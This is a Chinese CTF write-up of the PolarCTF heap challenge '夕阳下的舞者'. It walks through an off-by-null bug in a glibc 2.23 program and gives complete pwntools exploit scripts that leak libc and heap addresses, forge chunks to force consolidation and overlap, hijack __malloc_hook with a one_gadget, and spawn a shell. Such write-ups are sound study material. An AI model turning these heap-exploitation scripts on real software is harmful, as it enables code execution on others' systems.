夕阳下的舞者(off by null)
https://www.polarctf.com/#/page/challenges
困难题,2.23,保护全开。先看add()
sub_B34()中限制了8个chunk。先创建0x20的chunk作为struct(结构体),然后输入size存储在v2并malloc(v2),接着malloc(0x80),malloc(0x20),最后向malloc(v2)和malloc(0x20)写值,也就是name和mark。
也就是说v2这个struct构成大概是这样的。
size
malloc(v2) #name
malloc(0x20) #mark
malloc(0x80) #esg
gdb上更直观,add(0x20)的heap如下。
其中有个问题就是malloc(0x80) #esg并没有写值,以及sub_B74是封装了个read,实际上是个off by null。
read都很熟悉,a2是a1的size,a1[a2]就是a1的边界的下一个字节,*result &= 0xFEu;则是按位与操作,由于0xFE的二进制是1111 1110,所以结果就是清零。
那么这次add(0x18),可以发现PREV_INUSE位被清零了。
再看delete()
可以发现free一个清一个指针,但唯独chunklist[v1] + 24并没有清空,也就是malloc(0x80) #esg的位置。
然后是edit(),没有越界,但这里终于可以向malloc(0x80) #esg写值了。
最后是show(),将所有chunk循环打印出来。edit()和show()都校验了标志位(chunk_flag),所以malloc(0x80) #esg不清指针似乎也没什么问题。
这题泄露libc很容易。由于add()的时候malloc(0x80) #esg没有写值进去,那么只需要先add()再delete(),esg就会进unsortedbin。然后再add()回来,unsortedbin的fd/bk就自然而然的泄露了。
from pwn import *
import binascii
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./562+5Liq5Yiw","b *0x555555555005ncnc")
sh = process("./562+5Liq5Yiw")
def add(size, name="AAAAAAAA", mark="BBBBBBBB"):
sh.sendlineafter("EXIT.","1")
sh.sendlineafter("size of the chicken.",str(size))
sh.sendlineafter("name of the chicken.",name)
sh.sendlineafter("a mark.",mark)
def cook(index, name="CCCCCCCC", esg="DDDDDDDD"):
sh.sendlineafter("EXIT.","3")
sh.sendlineafter("you cook?",str(index))
sh.sendlineafter("new name.",name)
sh.sendlineafter("Cook name.",esg)
def show():
sh.sendlineafter("EXIT.","4")
ret_str = sh.recvuntil("Welcome")
print(ret_str)
return ret_str
def delete(index):
sh.sendlineafter("EXIT.","2")
sh.sendlineafter("you kill?",str(index))
add(0x20) #c0
delete(0)
add(0x20) #c0
main_arena_N_addr = u64(show()[63:69]+"x00x00")
print(hex(main_arena_N_addr))
sh.interactive()
泄露heap段呢?也很简单,弄个双向链表,可以看到fd指向libc,bk指向heap。
add(0x20) #c1
add(0x20) #c2
delete(1)
delete(2)
show()
重新add回来的话,esg块就残存heap。
但直接打印的话,会先打印fd,因为fd前面有x00而中断,所以需要用edit将fd填充掉,这样就没有x00打印出bk了。
add(0x20) #c1
add(0x20) #c2
delete(1)
delete(2)
add(0x20) #c1
cook(1, “EEEE”, “F”*7)
heap = u64(show()[168:174]+”x00x00″)
print(hex(heap))
为了节省chunk数量(并没有什么卵用),可以将泄露libc和泄露heap合并在一起。
add(0x20) #c0
add(0x20) #c1
delete(0)
delete(1)
add(0x20) #c0
main_arena_N_addr = u64(show()[63:69]+"x00x00")
print(hex(main_arena_N_addr))
libc_base_addr = main_arena_N_addr - libc_main_arena_N
malloc_hook_addr = libc_base_addr + libc_malloc_hook
cook(0, "EEEE", "F"*7)
heap = u64(show()[71:77]+"x00x00")
print(hex(heap))
这题只能修改PREV_INUSE,PREV_INUSE是判断free之后是否合并的标志位。通常off by null需要控制三块连续的chunk,然后通过修改一个字节来触发堆块合并。可参考
https://www.anquanke.com/post/id/208407
那么先不获取libc/heap,先看一下如何触发堆块合并。
add(0x60)
add(0x60)
delete(1)
add(0x68)
因为0x90的PREV_INUSE位被off by null了,所以认为上方的0x70是free的,此时还可以用0x68去伪造PREV_SIZE(也就是图中的prev项),它在哪儿呢?可以参考0x55555575a2b0。
因此改一下add,不输入换行。
def add(size, name="AAAAAAAA", mark="BBBBBBBB"):
sh.sendlineafter("EXIT.","1")
sh.sendlineafter("size of the chicken.",str(size))
sh.sendafter("name of the chicken.",name)
sh.sendlineafter("a mark.",mark)
……
add(0x60) #c0
add(0x60) #c1
delete(1)
show()
add(0x68,"A"*0x60+p64(0x300)) #c1
此时如果free触发合并流程是这样的。
1,size不属于largebin/fastbin,tcachebin被填满(2.27),所以进入unsortedbin。
2,检测到PREV_INUSE为0,意味着前面有free的chunk,尝试合并。
3,检测到PREV_SIZE为0x300,检测-0x300的位置是否为已经free的chunk。
4,找到-0x300的chunk,它的PREV_INUSE不为0,意味着前面没有其他free的chunk了。
5,检测-0x300的chunk的fd/bk指针是否合法。
6,合并0x90+0x300。
所以我们要在0x300这个地方伪造出一个假的chunk,那么显然可以利用c0。当然0x300只是随便估计的一个值,实际多少算一下就好了。我们可以用0x55555575a050(c0的name)来伪造fake chunk,那么就是0x55555575a220-0x55555575a060 = 0x1c0,fd/bk填它自己。
add(0x60,p64(0)+p64(0x1c0)+p64(0x55555575a060)+p64(0x55555575a060))
add(0x60)
delete(1)
add(0x68,"A"*0x60+p64(0x1c0))
此时如果布局的正常,free c1的esg(0x90)时,就会触发堆块合并。
delete(1)
如果布局没布好,大概会在这个地方报错。
成功了我们会得到0x90+0x1c0=0x250大小的unsortedbin,它重叠了6个左右的chunk。
其中包含了0x70(c1name)和0x90(c1msg)两个真正free的chunk,所以再add()一个合适大小的chunk,来覆盖掉它们的fd就可以劫持了。这里选择了0x70(c1name),距离是0x55555575a1b0 – 0x55555575a070= 0x140。
劫持的当然是经典的malloc_hook_addr-0x23,用来偏移0x7f这个size。
add(0x60,p64(0)+p64(0x1c0)+p64(0x55555575a060)+p64(0x55555575a060))
add(0x60)
delete(1)
add(0x68,"A"*0x60+p64(0x1c0))
delete(1)
add(0x200,"A"*0x140 + p64(0) + p64(0x71) + p64(0x7ffff7dd1aed) + p64(0xdeadbeef))
非常完美,那么只要再add两次0x60,就能修改到malloc_hook附近。
add(0x60)
add(0x60)
改写成功,剩下的就是偏移0x13,往malloc_hook写入one_gadget。
那么将整个流程合并起来(注意add被改过),重新计算一下各种偏移量。
from pwn import *
import binascii
context.log_level = 'debug'
context.arch='amd64'
#sh = gdb.debug("./562+5Liq5Yiw","b *0x555555555005ncncnc")
sh = process("./562+5Liq5Yiw")
elf = ELF("./562+5Liq5Yiw")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")
#libc = ELF("./libc-2.23.so")
libc_malloc_hook = libc.sym['__malloc_hook']
libc_main_arena_N = libc_malloc_hook + 0x68
libc_realloc_hook = libc.sym['__libc_realloc']
print(hex(libc_malloc_hook)) #0x3c3b10
print(hex(libc_main_arena_N)) #0x3c3b78
def add(size, name="AAAAAAAA", mark="BBBBBBBB"):
sh.sendlineafter("EXIT.","1")
sh.sendlineafter("size of the chicken.",str(size))
sh.sendafter("name of the chicken.",name)
sh.sendlineafter("a mark.",mark)
def cook(index, name="CCCCCCCC", esg="DDDDDDDD"):
sh.sendlineafter("EXIT.","3")
sh.sendlineafter("you cook?",str(index))
sh.sendlineafter("new name.",name)
sh.sendlineafter("Cook name.",esg)
def show(end="Welcome"):
sh.sendlineafter("EXIT.","4")
ret_str = sh.recvuntil(end)
print(ret_str)
return ret_str
def delete(index):
sh.sendlineafter("EXIT.","2")
sh.sendlineafter("you kill?",str(index))
add(0x20) #c0
add(0x20) #c1
delete(0)
delete(1)
add(0x20) #c0
main_arena_N_addr = u64(show()[62:68]+"x00x00")
print(hex(main_arena_N_addr))
libc_base_addr = main_arena_N_addr - libc_main_arena_N
malloc_hook_addr = libc_base_addr + libc_malloc_hook
cook(0, "EEEE", "F"*7)
heap = u64(show()[70:76]+"x00x00")
print(hex(heap)) #0x55555575a1a0
add(0x60,p64(0)+p64(0x210)+p64(heap+0x10)+p64(heap+0x10)) #c1
add(0x60) #c2
delete(2)
add(0x68,"A"*0x60+p64(0x210)) #c2
delete(2)
add(0x200,"A"*0x190 + p64(0) + p64(0x71) + p64(0x7ffff7dd1aed) + p64(0xdeadbeef))
add(0x60)
one = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
add(0x60, 'A'*0x13+p64(libc_base_addr + one[2]))
add(0x10)
#delete(1)
sh.interactive()
但最终都会报错退出,使用这篇文章的办法,free错误堆块——malloc_printerr——dl-error.c——malloc成功getshell。
https://www.52pojie.cn/thread-1838574-1-1.html
原文始发于微信公众号(珂技知识分享):web选手入门pwn(15) ——off by null